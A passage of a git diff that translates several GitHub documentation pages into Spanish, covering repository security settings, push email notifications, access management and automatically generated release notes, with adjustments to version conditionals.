 
-You can also define a custom retention period for a specific artifact created by a workflow. For more information, see "[Setting the retention period for an artifact](/actions/managing-workflow-runs/removing-workflow-artifacts#setting-the-retention-period-for-an-artifact)."
+Tambièn puedes definir un periodo de retenciòn personalizado para un artefacto especìfico que haya creado un flujo de trabajo. Para obtener màs informaciòn consulta la secciòn "[Configurar el periodo de retenciòn para un artefacto](/actions/managing-workflow-runs/removing-workflow-artifacts#setting-the-retention-period-for-an-artifact)".
 
-## Setting the retention period for a repository
+## Configurar el periodo de retenciòn para un repositorio
 
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.repositories.sidebar-settings %}
diff --git a/translations/es-ES/content/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-security-and-analysis-settings-for-your-repository.md b/translations/es-ES/content/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-security-and-analysis-settings-for-your-repository.md
index 0181b7ae84..1619c037aa 100644
--- a/translations/es-ES/content/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-security-and-analysis-settings-for-your-repository.md
+++ b/translations/es-ES/content/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-security-and-analysis-settings-for-your-repository.md
@@ -32,13 +32,16 @@ You can manage a subset of security and analysis features for public repositorie
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.repositories.sidebar-settings %}
 {% data reusables.repositories.navigate-to-security-and-analysis %}
-4. Under "Configure security and analysis features", to the right of the feature, click **Disable** or **Enable**.
-  !["Enable" or "Disable" button for "Configure security and analysis" features in a public repository](/assets/images/help/repository/security-and-analysis-disable-or-enable-dotcom-public.png)
+4. Under "Configure security and analysis features", to the right of the feature, click **Disable** or **Enable**.{% ifversion fpt %}
+  !["Enable" or "Disable" button for "Configure security and analysis" features in a public repository](/assets/images/help/repository/security-and-analysis-disable-or-enable-fpt-public.png){% elsif ghec %}
+  !["Enable" or "Disable" button for "Configure security and analysis" features in a public repository](/assets/images/help/repository/security-and-analysis-disable-or-enable-ghec-public.png){% endif %}
 {% endif %}
 
 ## Enabling or disabling security and analysis features{% ifversion fpt or ghec %} for private repositories{% endif %}
 
-You can manage the security and analysis features for your {% ifversion fpt or ghec %}private or internal {% endif %}repository.{% ifversion fpt or ghes or ghec %} If your organization belongs to an enterprise with a license for {% data variables.product.prodname_GH_advanced_security %} then extra options are available. {% data reusables.advanced-security.more-info-ghas %}{% endif %}
+You can manage the security and analysis features for your {% ifversion fpt or ghec %}private or internal {% endif %}repository.{% ifversion ghes or ghec %} If your organization belongs to an enterprise with a license for {% data variables.product.prodname_GH_advanced_security %} then extra options are available. {% data reusables.advanced-security.more-info-ghas %}
+{% elsif fpt %} Organizations that use {% data variables.product.prodname_ghe_cloud %} with {% data variables.product.prodname_advanced_security %} have extra options available. For more information, see the [{% data variables.product.prodname_ghe_cloud %} documentation](/enterprise-cloud@latest//repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-security-and-analysis-settings-for-your-repository#enabling-or-disabling-security-and-analysis-features-for-private-repositories).
+{% endif %}
 
 {% data reusables.security.security-and-analysis-features-enable-read-only %}
 
@@ -46,15 +49,20 @@ You can manage the security and analysis features for your {% ifversion fpt or g
 {% data reusables.repositories.sidebar-settings %}
 {% data reusables.repositories.navigate-to-security-and-analysis %}
 {% ifversion fpt or ghes > 3.0 or ghec %}
-4. Under "Configure security and analysis features", to the right of the feature, click **Disable** or **Enable**. The control for "{% data variables.product.prodname_GH_advanced_security %}" is disabled if your enterprise has no available licenses for {% data variables.product.prodname_advanced_security %}.{% ifversion fpt or ghec %}
-  !["Enable" or "Disable" button for "Configure security and analysis" features](/assets/images/help/repository/security-and-analysis-disable-or-enable-dotcom-private.png){% elsif ghes > 3.2 %}
+4. Under "Configure security and analysis features", to the right of the feature, click **Disable** or **Enable**. {% ifversion not fpt %}The control for "{% data variables.product.prodname_GH_advanced_security %}" is disabled if your enterprise has no available licenses for {% data variables.product.prodname_advanced_security %}.{% endif %}{% ifversion fpt %}
+  !["Enable" or "Disable" button for "Configure security and analysis" features](/assets/images/help/repository/security-and-analysis-disable-or-enable-fpt-private.png){% elsif ghec %}
+  !["Enable" or "Disable" button for "Configure security and analysis" features](/assets/images/help/repository/security-and-analysis-disable-or-enable-ghec-private.png){% elsif ghes > 3.2 %}
   !["Enable" or "Disable" button for "Configure security and analysis" features](/assets/images/enterprise/3.3/repository/security-and-analysis-disable-or-enable-ghes.png){% else %}
   !["Enable" or "Disable" button for "Configure security and analysis" features](/assets/images/enterprise/3.1/help/repository/security-and-analysis-disable-or-enable-ghes.png){% endif %}
+  
+  {% ifversion not fpt %}
   {% note %}
 
-  **Note:** If you disable {% data variables.product.prodname_GH_advanced_security %}, {% ifversion fpt or ghec %}dependency review, {% endif %}{% data variables.product.prodname_secret_scanning %} and {% data variables.product.prodname_code_scanning %} are disabled. Any workflows, SARIF uploads, or API calls for {% data variables.product.prodname_code_scanning %} will fail.
-  {% endnote %}
+  **Note:** If you disable {% data variables.product.prodname_GH_advanced_security %}, {% ifversion ghec %}dependency review, {% endif %}{% data variables.product.prodname_secret_scanning %} and {% data variables.product.prodname_code_scanning %} are disabled. Any workflows, SARIF uploads, or API calls for {% data variables.product.prodname_code_scanning %} will fail.
+  {% endnote %}{% endif %}
+
   {% endif %}
+
   {% ifversion ghes = 3.0 %}
 4. Under "Configure security and analysis features", to the right of the feature, click **Disable** or **Enable**.
   !["Enable" or "Disable" button for "Configure security and analysis" features](/assets/images/help/repository/security-and-analysis-disable-or-enable-ghe.png)
@@ -66,7 +74,7 @@ You can manage the security and analysis features for your {% ifversion fpt or g
 
 ## Granting access to security alerts
 
-After you enable {% ifversion not ghae %}{% data variables.product.prodname_dependabot %} or {% endif %}{% data variables.product.prodname_secret_scanning %} alerts for a repository in an organization, organization owners and repository administrators can view the alerts by default. You can give additional teams and people access to the alerts for a repository.
+Security alerts for a repository are visible to people with admin access to the repository and, when the repository is owned by an organization, organization owners. You can give additional teams and people access to the alerts.
 
 {% note %}
 
diff --git a/translations/es-ES/content/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/about-email-notifications-for-pushes-to-your-repository.md b/translations/es-ES/content/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/about-email-notifications-for-pushes-to-your-repository.md
index 67c8fece20..2603ed7d9a 100644
--- a/translations/es-ES/content/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/about-email-notifications-for-pushes-to-your-repository.md
+++ b/translations/es-ES/content/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/about-email-notifications-for-pushes-to-your-repository.md
@@ -1,6 +1,6 @@
 ---
-title: About email notifications for pushes to your repository
-intro: You can choose to automatically send email notifications to a specific email address when anyone pushes to the repository.
+title: Acerca de las notificaciones por correo electrónico para las inserciones en tu repositorio
+intro: Puedes elegir enviar notificaciones por correo electrónico automáticamente a una dirección en específico cuando alguien suba información a tu repositorio.
 permissions: People with admin permissions in a repository can enable email notifications for pushes to your repository.
 redirect_from:
   - /articles/managing-notifications-for-pushes-to-a-repository
@@ -16,39 +16,37 @@ versions:
   ghec: '*'
 topics:
   - Repositories
-shortTitle: Email notifications for pushes
+shortTitle: Enviar notificaciones por correo electrónico para las subidas
 ---
+
 {% data reusables.notifications.outbound_email_tip %}
 
-Each email notification for a push to a repository lists the new commits and links to a diff containing just those commits. In the email notification you'll see:
+Cada notificación por correo electrónico para una subida a un repositorio enumera las confirmaciones nuevas y las vincula a una diferencia que solo contenga esas confirmaciones. En la notificación por correo electrónico verás:
 
-- The name of the repository where the commit was made
-- The branch a commit was made in
-- The SHA1 of the commit, including a link to the diff in {% data variables.product.product_name %}
-- The author of the commit
-- The date when the commit was made
-- The files that were changed as part of the commit
-- The commit message
+- El nombre del repositorio donde se realizó la confirmación.
+- La rama en la que se realizó la confirmación.
+- El SHA1 de la confirmación, incluido un enlace a la diferencia en {% data variables.product.product_name %}.
+- El autor de la confirmación.
+- La fecha en que se realizó la confirmación.
+- Los archivos que fueron modificados como parte de la confirmación.
+- El mensaje de confirmación
 
-You can filter email notifications you receive for pushes to a repository. For more information, see {% ifversion fpt or ghae or ghes or ghec %}"[Configuring notifications](/github/managing-subscriptions-and-notifications-on-github/configuring-notifications#filtering-email-notifications){% else %}"[About notification emails](/github/receiving-notifications-about-activity-on-github/about-email-notifications)." You can also turn off email notifications for pushes. For more information, see "[Choosing the delivery method for your notifications](/enterprise/{{ currentVersion }}/user/github/receiving-notifications-about-activity-on-github/choosing-the-delivery-method-for-your-notifications){% endif %}."
+Puedes filtrar las notificaciones por correo electrónico que recibes para las inserciones en un repositorio. Para obtener más información, consulta la sección {% ifversion fpt or ghae or ghes or ghec %}"[Configurar notificaciones](/github/managing-subscriptions-and-notifications-on-github/configuring-notifications#filtering-email-notifications){% else %}"[Acerca de los mensajes de notificación por correo electrónico](/github/receiving-notifications-about-activity-on-github/about-email-notifications)". También puedes apagar las notificaciones por correo electrónico para las cargas de información. Para obtener más información, consulta la sección "[Escoger el método de entrega para las notificaciones](/enterprise/{{ currentVersion }}/user/github/receiving-notifications-about-activity-on-github/choosing-the-delivery-method-for-your-notifications){% endif %}".
 
-## Enabling email notifications for pushes to your repository
+## Habilitar las notificaciones por correo electrónico para las subidas de información en tu repositorio
 
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.repositories.sidebar-settings %}
 {% data reusables.repositories.sidebar-notifications %}
-5. Type up to two email addresses, separated by whitespace, where you'd like notifications to be sent. If you'd like to send emails to more than two accounts, set one of the email addresses to a group email address.
-![Email address textbox](/assets/images/help/settings/email_services_addresses.png)
-1. If you operate your own server, you can verify the integrity of emails via the **Approved header**. The **Approved header** is a token or secret that you type in this field, and that is sent with the email. If the `Approved` header of an email matches the token, you can trust that the email is from {% data variables.product.product_name %}.
-![Email approved header textbox](/assets/images/help/settings/email_services_approved_header.png)
-7. Click **Setup notifications**.
-![Setup notifications button](/assets/images/help/settings/setup_notifications_settings.png)
+5. Escribe hasta dos direcciones de correo electrónico, separadas por espacio en blanco, donde quieras que se envíen las notificaciones. Si quieres enviar los correos electrónicos a más de dos cuentas, configura una de las direcciones de correo electrónico a una dirección de correo electrónico del grupo. ![Cuadro de texto dirección de correo electrónico](/assets/images/help/settings/email_services_addresses.png)
+1. Si operas tu propio servidor, puedes verificar la integridad de los correos electrónicos a través del **Encabezado aprobado**. El **Encabezado aprobado** es un token o un secreto que tecleas en este campo y que se envía con el correo electrónico. Si el encabezado que está como `Approved` en un correo electrónico empata con el token, puedes confiar en que dicho correo es de {% data variables.product.product_name %}. ![Caja de texto de correo de encabezado aprobado](/assets/images/help/settings/email_services_approved_header.png)
+7. Da clic en **Configurar notificaciones**. ![Botón de configurar notificaciones](/assets/images/help/settings/setup_notifications_settings.png)
 
-## Further reading
+## Leer más
 {% ifversion fpt or ghae or ghes or ghec %}
-- "[About notifications](/github/managing-subscriptions-and-notifications-on-github/about-notifications)"
+- "[Acerca de las notificaciones](/github/managing-subscriptions-and-notifications-on-github/about-notifications)"
 {% else %}
-- "[About notifications](/enterprise/{{ currentVersion }}/user/github/receiving-notifications-about-activity-on-github/about-notifications)"
-- "[Choosing the delivery method for your notifications](/enterprise/{{ currentVersion }}/user/github/receiving-notifications-about-activity-on-github/choosing-the-delivery-method-for-your-notifications)"
-- "[About email notifications](/enterprise/{{ currentVersion }}/user/github/receiving-notifications-about-activity-on-github/about-email-notifications)"
-- "[About web notifications](/enterprise/{{ currentVersion }}/user/github/receiving-notifications-about-activity-on-github/about-web-notifications)"{% endif %}
+- "[Acerca de las notificaciones](/enterprise/{{ currentVersion }}/user/github/receiving-notifications-about-activity-on-github/about-notifications)"
+- "[Escoger el método de entrega para tus notificaciones](/enterprise/{{ currentVersion }}/user/github/receiving-notifications-about-activity-on-github/choosing-the-delivery-method-for-your-notifications)"
+- "[Acerca de las notificaciones por correo electrónico](/enterprise/{{ currentVersion }}/user/github/receiving-notifications-about-activity-on-github/about-email-notifications)"
+- "[Acerca de las notificaciones web](/enterprise/{{ currentVersion }}/user/github/receiving-notifications-about-activity-on-github/about-web-notifications)"{% endif %}
diff --git a/translations/es-ES/content/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/managing-teams-and-people-with-access-to-your-repository.md b/translations/es-ES/content/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/managing-teams-and-people-with-access-to-your-repository.md
index 43442fd026..c873b2e138 100644
--- a/translations/es-ES/content/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/managing-teams-and-people-with-access-to-your-repository.md
+++ b/translations/es-ES/content/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/managing-teams-and-people-with-access-to-your-repository.md
@@ -1,6 +1,6 @@
 ---
-title: Managing teams and people with access to your repository
-intro: You can see everyone who has access to your repository and adjust permissions.
+title: Gestionar equipos y personas con acceso a tu repositorio
+intro: Puedes ver a todo aquél que ha accedido a tu repositorio y ajustar los permisos.
 permissions: People with admin access to a repository can manage teams and people with access to a repository.
 redirect_from:
   - /github/administering-a-repository/managing-people-and-teams-with-access-to-your-repository
@@ -11,55 +11,50 @@ versions:
   ghec: '*'
 topics:
   - Repositories
-shortTitle: Teams & people
+shortTitle: Equipos & personas
 ---
 
-## About access management for repositories
+## Acerca de la administración de accesos para los repositorios
 
-For each repository that you administer on {% data variables.product.prodname_dotcom %}, you can see an overview of every team or person with access to the repository. From the overview, you can also invite new teams or people, change each team or person's role for the repository, or remove access to the repository.
+Puedes ver un resumen de cada equipo o persona con acceso a tu repositorio para todo aquél que administres en {% data variables.product.prodname_dotcom %}. Desde este resumen, también puedes invitar a nuevos equipos o personas, cambiar el rol de cada equipo o persona en el repositorio o eliminar el acceso al mismo.
 
-This overview can help you audit access to your repository, onboard or off-board contractors or employees, and effectively respond to security incidents.
+Este resumen puede ayudarte a auditar el acceso a tu repositorio, incorporar o retirar personal externo o empleados, y responder con efectividad a los incidentes de seguridad.
 
-For more information about repository roles, see "[Permission levels for a user account repository](/github/setting-up-and-managing-your-github-user-account/permission-levels-for-a-user-account-repository)" and "[Repository roles for an organization](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization)."
+Para obtener más información acerca de los roles de los repositorios, consulta las secciones "[Niveles de permiso para un repositorio de la cuenta de un usuario](/github/setting-up-and-managing-your-github-user-account/permission-levels-for-a-user-account-repository)" y "[Roles de respositorio para una organización](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization)".
 
-![Access management overview](/assets/images/help/repository/manage-access-overview.png)
+![Resumen de gestión de accesos](/assets/images/help/repository/manage-access-overview.png)
 
-## Filtering the list of teams and people
+## Filtrar la lista de equipos y personas
 
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.repositories.sidebar-settings %}
 {% data reusables.repositories.navigate-to-manage-access %}
-4. Under "Manage access", in the search field, start typing the name of the team or person you'd like to find.
-  ![Search field for filtering list of teams or people with access](/assets/images/help/repository/manage-access-filter.png)
+4. Debajo de "Administrar acceso" en el campo de búsqueda, comienza a teclear el nombre del equipo o persona que quieres encontrar. ![Campo de búsqueda para filtrar la lista de equipos o personas con acceso](/assets/images/help/repository/manage-access-filter.png)
 
-## Changing permissions for a team or person
+## Cambiar permisos para un equipo o persona
 
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.repositories.sidebar-settings %}
 {% data reusables.repositories.navigate-to-manage-access %}
-4. Under "Manage access", find the team or person whose role you'd like to change, then select the Role drop-down and click a new role.
-  ![Using the "Role" drop-down to select new permissions for a team or person](/assets/images/help/repository/manage-access-role-drop-down.png)
+4. Debajo de "Administrar acceso", encuentra al equipo o persona cuyo rol te gustaría cambiar y luego selecciona el menú desplegable del rol y haz clic en un rol nuevo. ![Utilizar el menú desplegable de "Rol" para seleccionar nuevos permisos para un equipo o persona](/assets/images/help/repository/manage-access-role-drop-down.png)
 
-## Inviting a team or person
+## Invitar a un equipo o persona
 
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.repositories.sidebar-settings %}
 {% data reusables.repositories.navigate-to-manage-access %}
 {% data reusables.organizations.invite-teams-or-people %}
-5. In the search field, start typing the name of the team or person to invite, then click a name in the list of matches.
-  ![Search field for typing the name of a team or person to invite to the repository](/assets/images/help/repository/manage-access-invite-search-field.png)
-6. Under "Choose a role", select the repository role to grant to the team or person, then click **Add NAME to REPOSITORY**.
-  ![Selecting permissions for the team or person](/assets/images/help/repository/manage-access-invite-choose-role-add.png)
+5. En el campo de búsqueda, comienza a teclear el nombre del equipo o persona que quieres invitar y da clic en el mismo dentro de la lista de coincidencias. ![Campo de búsqueda para teclear el nombre del equipo o persona que deseas invitar al repositorio](/assets/images/help/repository/manage-access-invite-search-field.png)
+6. Debajo de "Elige un rol", selecciona el rol del repositorio que quieras otorgar al equipo o persona y luego haz clic en **Add NAME to REPOSITORY**. ![Seleccionar los permisos para el equipo o persona](/assets/images/help/repository/manage-access-invite-choose-role-add.png)
 
-## Removing access for a team or person
+## Eliminar el acceso de un equipo o persona
 
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.repositories.sidebar-settings %}
 {% data reusables.repositories.navigate-to-manage-access %}
-4. Under "Manage access", find the team or person whose access you'd like to remove, then click {% octicon "trash" aria-label="The trash icon" %}.
-  ![trash icon for removing access](/assets/images/help/repository/manage-access-remove.png)
+4. Debajo de "Administrar acceso", encuentra al equipo o persona de quien quieras eliminar el acceso y da clic{% octicon "trash" aria-label="The trash icon" %}. ![icono de cesto de basura para eliminar el acceso](/assets/images/help/repository/manage-access-remove.png)
 
-## Further reading
+## Leer más
 
-- "[Setting repository visibility](/github/administering-a-repository/setting-repository-visibility)"
-- "[Setting base permissions for an organization](/organizations/managing-access-to-your-organizations-repositories/setting-base-permissions-for-an-organization)"
+- "[Configurar la visibilidad de un repositorio](/github/administering-a-repository/setting-repository-visibility)"
+- "[Configurar los permisos básicos para una organización](/organizations/managing-access-to-your-organizations-repositories/setting-base-permissions-for-an-organization)"
diff --git a/translations/es-ES/content/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/setting-repository-visibility.md b/translations/es-ES/content/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/setting-repository-visibility.md
index 60c27fc359..96c2ccfa4b 100644
--- a/translations/es-ES/content/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/setting-repository-visibility.md
+++ b/translations/es-ES/content/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/setting-repository-visibility.md
@@ -56,7 +56,7 @@ We recommend reviewing the following caveats before you change the visibility of
 
 {%- ifversion fpt or ghec %}
 * {% data variables.product.prodname_dotcom %} will no longer include the repository in the {% data variables.product.prodname_archive %}. For more information, see "[About archiving content and data on {% data variables.product.prodname_dotcom %}](/github/creating-cloning-and-archiving-repositories/about-archiving-content-and-data-on-github#about-the-github-archive-program)."
-* {% data variables.product.prodname_GH_advanced_security %} features, such as {% data variables.product.prodname_code_scanning %}, will stop working unless the repository is owned by an organization that is part of an enterprise with a license for {% data variables.product.prodname_advanced_security %} and sufficient spare seats. {% data reusables.advanced-security.more-info-ghas %}
+* {% data variables.product.prodname_GH_advanced_security %} features, such as {% data variables.product.prodname_code_scanning %}, will stop working{% ifversion ghec %} unless the repository is owned by an organization that is part of an enterprise with a license for {% data variables.product.prodname_advanced_security %} and sufficient spare seats{% endif %}. {% data reusables.advanced-security.more-info-ghas %}
 {%- endif %}
 
 {%- ifversion ghes %}
diff --git a/translations/es-ES/content/repositories/releasing-projects-on-github/automatically-generated-release-notes.md b/translations/es-ES/content/repositories/releasing-projects-on-github/automatically-generated-release-notes.md
index 64552f13ed..94b19f5949 100644
--- a/translations/es-ES/content/repositories/releasing-projects-on-github/automatically-generated-release-notes.md
+++ b/translations/es-ES/content/repositories/releasing-projects-on-github/automatically-generated-release-notes.md
@@ -1,75 +1,67 @@
 ---
-title: Automatically generated release notes
-intro: You can automatically generate release notes for your GitHub releases
+title: Notas de lanzamiento generadas automáticamente
+intro: Puedes generar notas de lanzamiento automáticamente para tus lanzamientos de GitHub
 permissions: Repository collaborators and people with write access to a repository can generate and customize automated release notes for a release.
 versions:
   fpt: '*'
   ghec: '*'
 topics:
   - Repositories
-shortTitle: Automated release notes
+shortTitle: Notas de lanzamiento automatizadas
 communityRedirect:
   name: Provide GitHub Feedback
   href: 'https://github.com/github/feedback/discussions/categories/releases-feedback'
 ---
 
-## About automatically generated release notes
+## Acerca de las notas de lanzamiento generadas automáticamente
 
-Automatically generated release notes provide an automated alternative to manually writing release notes for your {% data variables.product.prodname_dotcom %} releases. With automatically generated release notes, you can quickly generate an overview of the contents of a release. You can also customize your automated release notes, using labels to create custom categories to organize pull requests you want to include, and exclude certain labels and users from appearing in the output.
+Las notas de lanzamiento generadas automáticamente proporcionan una alternativa de automatización para escribir notas de lanzamiento manualmente para tus lanzamientos de {% data variables.product.prodname_dotcom %}. Con las notas de lanzamiento generadas automáticamente, puedes generar rápidamente un resumen del contenido de un lanzamiento. También puedes personalizar tus notas de lanzamiento automatizadas, utilizando etiquetas para crear categorías personalizadas para organizar las solicitudes de cambio que quieras incluir y excluyendo ciertas etiquetas y usuarios para que no aparezcan en la salida.
 
-## Creating automatically generated release notes for a new release
+## Crear notas de lanzamiento generadas automáticamente para un lanzamiento nuevo
 
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.repositories.releases %}
-3. Click **Draft a new release**.
-   ![Releases draft button](/assets/images/help/releases/draft_release_button.png)
-4. {% ifversion fpt or ghec %}Click **Choose a tag** and type{% else %}Type{% endif %} a version number for your release. Alternatively, select an existing tag.
+3. Haz clic en **Borrador de un nuevo lanzamiento**. ![Botón Borrador de lanzamientos](/assets/images/help/releases/draft_release_button.png)
+4. {% ifversion fpt or ghec %}Haz clic en **Elige una etiqueta** y teclea {% else %}Teclea{% endif %} un número de versión para tu lanzamiento. Como alternativa, selecciona una etiqueta existente.
   {% ifversion fpt or ghec %}
-  ![Enter a tag](/assets/images/help/releases/releases-tag-create.png)
-5. If you are creating a new tag, click **Create new tag**.
-![Confirm you want to create a new tag](/assets/images/help/releases/releases-tag-create-confirm.png)
+  ![Ingresa una etiqueta](/assets/images/help/releases/releases-tag-create.png)
+5. Si estás creando una etiqueta nueva, haz clic en **Crear etiqueta nueva**. ![Confirma si quieres crear una etiqueta nueva](/assets/images/help/releases/releases-tag-create-confirm.png)
   {% else %}
-  ![Releases tagged version](/assets/images/enterprise/releases/releases-tag-version.png)
+  ![Versión de lanzamientos con etiquetas](/assets/images/enterprise/releases/releases-tag-version.png)
 {% endif %}
-6. If you have created a new tag, use the drop-down menu to select the branch that contains the project you want to release.
-  {% ifversion fpt or ghec %}![Choose a branch](/assets/images/help/releases/releases-choose-branch.png)
-  {% else %}![Releases tagged branch](/assets/images/enterprise/releases/releases-tag-branch.png)
+6. Si creaste una etiqueta nueva, utiliza el menú desplegable para seleccionar la rama que contiene el proyecto que quieres lanzar.
+  {% ifversion fpt or ghec %}![Elige una rama](/assets/images/help/releases/releases-choose-branch.png)
+  {% else %}![Rama de lanzamientos con etiquetas](/assets/images/enterprise/releases/releases-tag-branch.png)
   {% endif %}
-7. To the top right of the description text box, click **Auto-generate release notes**.
-  ![Auto-generate release notes](/assets/images/help/releases/auto-generate-release-notes.png)
-8. Check the generated notes to ensure they include all (and only) the information you want to include.
-9. Optionally, to include binary files such as compiled programs in your release, drag and drop or manually select files in the binaries box.
-   ![Providing a DMG with the Release](/assets/images/help/releases/releases_adding_binary.gif)
-10. To notify users that the release is not ready for production and may be unstable, select **This is a pre-release**.
-   ![Checkbox to mark a release as prerelease](/assets/images/help/releases/prerelease_checkbox.png)
+7. En la caja de texto de descripción que se encuentra en la esquina superior derecha, haz clic en **Autogenerar notas de lanzamiento**. ![Autogenerar notas de lanzamiento](/assets/images/help/releases/auto-generate-release-notes.png)
+8. Verifica las notas generadas para garantizar que incluyan toda (y únicamente) la información que quieras incluir.
+9. Opcionalmente, para incluir los archivos binarios tales como programas compilados en tu lanzamiento, arrastra y suelta o selecciona manualmente los archivos en la caja de binarios. ![Proporcionar un DMG con el lanzamiento](/assets/images/help/releases/releases_adding_binary.gif)
+10. Para notificar a los usuarios que el lanzamiento no está listo para producción y puede ser inestable, selecciona **Esto es un pre-lanzamiento**. ![Casilla de verificación para marcar un lanzamiento como prelanzamiento](/assets/images/help/releases/prerelease_checkbox.png)
 {%- ifversion fpt %}
-11. Optionally, select **Create a discussion for this release**, then select the **Category** drop-down menu and click a category for the release discussion.
-  ![Checkbox to create a release discussion and drop-down menu to choose a category](/assets/images/help/releases/create-release-discussion.png)
+11. Opcionalmente, selecciona **Crear un debate para este lanzamiento** y luego, selecciona el menú desplegable de **Categoría** y haz clic en aquella que describa el debate de dicho lanzamiento. ![Casilla de verificación para crear un debate de lanzamiento y menú desplegable para elegir una categoría](/assets/images/help/releases/create-release-discussion.png)
 {%- endif %}
-12. If you're ready to publicize your release, click **Publish release**. To work on the release later, click **Save draft**.
-   ![Publish release and Draft release buttons](/assets/images/help/releases/release_buttons.png)
+12. Si estás listo para publicitar tu lanzamiento, haz clic en **Publicar lanzamiento**. Para seguir trabajando luego en el lanzamiento, haz clic en **Guardar borrador**. ![Botones Publicar lanzamiento y Borrador de lanzamiento](/assets/images/help/releases/release_buttons.png)
 
 
-## Configuring automatically generated release notes
+## Configurar las notas de lanzamiento generadas automáticamente
 
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.files.add-file %}
-3. In the file name field, type `.github/release.yml` to create the `release.yml` file in the `.github` directory.
-  ![Create new file](/assets/images/help/releases/release-yml.png)
-4. In the file, using the configuration options below, specify in YAML the pull request labels and authors you want to exclude from this release. You can also create new categories and list the pull request labels to be included in each of them.
+3. En el campo de nombre de archivo, teclea `.github/release.yml` para crear el archivo `release.yml` en el directorio `.github`. ![Crear archivo nuevo](/assets/images/help/releases/release-yml.png)
+4. En el archivo, el utilizar las opciones de configuración siguientes, especificarán en YAML las etiquetas de solicitudes de cambio y los autores que quieras excluir de este lanzamiento. También puedes crear categorías nuevas y listar las etiquetas de la solicitud de cambios que se deben incluir en cada una de ellas.
 
-### Configuration options
+### Opciones de configuración
 
-| Parameter | Description |
-| :- | :- |
-| `changelog.exclude.labels` | A list of labels that exclude a pull request from appearing in release notes. |
-| `changelog.exclude.authors` | A list of user or bot login handles whose pull requests are to be excluded from release notes. |
-| `changelog.categories[*].title` | **Required.** The title of a category of changes in release notes. |
-| `changelog.categories[*].labels`| **Required.** Labels that qualify a pull request for this category. Use `*` as a catch-all for pull requests that didn't match any of the previous categories. |
-| `changelog.categories[*].exclude.labels` | A list of labels that exclude a pull request from appearing in this category. |
-| `changelog.categories[*].exclude.authors` | A list of user or bot login handles whose pull requests are to be excluded from this category. |
+| Parámetro                                 | Descripción                                                                                                                                                                                                  |
+|:----------------------------------------- |:------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
+| `changelog.exclude.labels`                | Una lista de etiquetas que excluyen una solicitud de cambios para que no aparezca en las notas de lanzamiento.                                                                                               |
+| `changelog.exclude.authors`               | Una lista de manejos de inicio de sesión de usuarios o bots cuyas solicitudes de cambio deben excluirse de las notas de lanzamiento.                                                                         |
+| `changelog.categories[*].title`           | **Requerido.** El título de una categoría de cambios en las notas de lanzamiento.                                                                                                                            |
+| `changelog.categories[*].labels`          | **Requerido.** Las etiquetas que califican a una solicitud de cambios para esta categoría. Utiliza `*` como un comodín para solicitudes de cambio que no empataron con ninguna de las categorías anteriores. |
+| `changelog.categories[*].exclude.labels`  | Una lista de etiquetas que excluye una solicitud de cambio para que no aparezca en esta categoría.                                                                                                           |
+| `changelog.categories[*].exclude.authors` | Una lista de manejos de inicio de sesión de usuarios o bots cuyas solicitudes de cambio deben excluirse de esta categoría.                                                                                   |
 
-### Example configuration
+### Ejemplo de configuración
 
 {% raw %}
 ```yaml{:copy}
@@ -96,6 +88,6 @@ changelog:
 ```
 {% endraw %}
 
-## Further reading
+## Leer más
 
-- "[Managing labels](/issues/using-labels-and-milestones-to-track-work/managing-labels)" 
\ No newline at end of file
+- "[Administrar etiquetas](/issues/using-labels-and-milestones-to-track-work/managing-labels)" 
diff --git a/translations/es-ES/content/repositories/releasing-projects-on-github/index.md b/translations/es-ES/content/repositories/releasing-projects-on-github/index.md
index feb05945b2..6effc28e34 100644
--- a/translations/es-ES/content/repositories/releasing-projects-on-github/index.md
+++ b/translations/es-ES/content/repositories/releasing-projects-on-github/index.md
@@ -1,6 +1,6 @@
 ---
-title: Releasing projects on GitHub
-intro: 'You can create a release to package software, release notes, and binary files for other people to download.'
+title: Lanzar proyectos en GitHub
+intro: 'Puedes crear un lanzamiento para consolidad software, notas de lanzamiento y archivos binarios para que los demás lo descarguen.'
 redirect_from:
   - /categories/85/articles
   - /categories/releases
@@ -21,6 +21,6 @@ children:
   - /comparing-releases
   - /automatically-generated-release-notes
   - /automation-for-release-forms-with-query-parameters
-shortTitle: Release projects
+shortTitle: Liberar proyectos
 ---
 
diff --git a/translations/es-ES/content/repositories/releasing-projects-on-github/linking-to-releases.md b/translations/es-ES/content/repositories/releasing-projects-on-github/linking-to-releases.md
index 3c21ca164f..80bb280e06 100644
--- a/translations/es-ES/content/repositories/releasing-projects-on-github/linking-to-releases.md
+++ b/translations/es-ES/content/repositories/releasing-projects-on-github/linking-to-releases.md
@@ -16,11 +16,11 @@ topics:
 
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.repositories.releases %}
-3. To copy a unique URL to your clipboard, find the release you want to link to, right click the title, and copy the URL.
+3. Para copiar una URL única en tu portapapeles, encuentra el lanzamiento que quieras enlazar, haz clic derecho en el título y copia la URL.
 {% ifversion fpt or ghec or ghes > 3.4 or ghae-issue-4974 %}
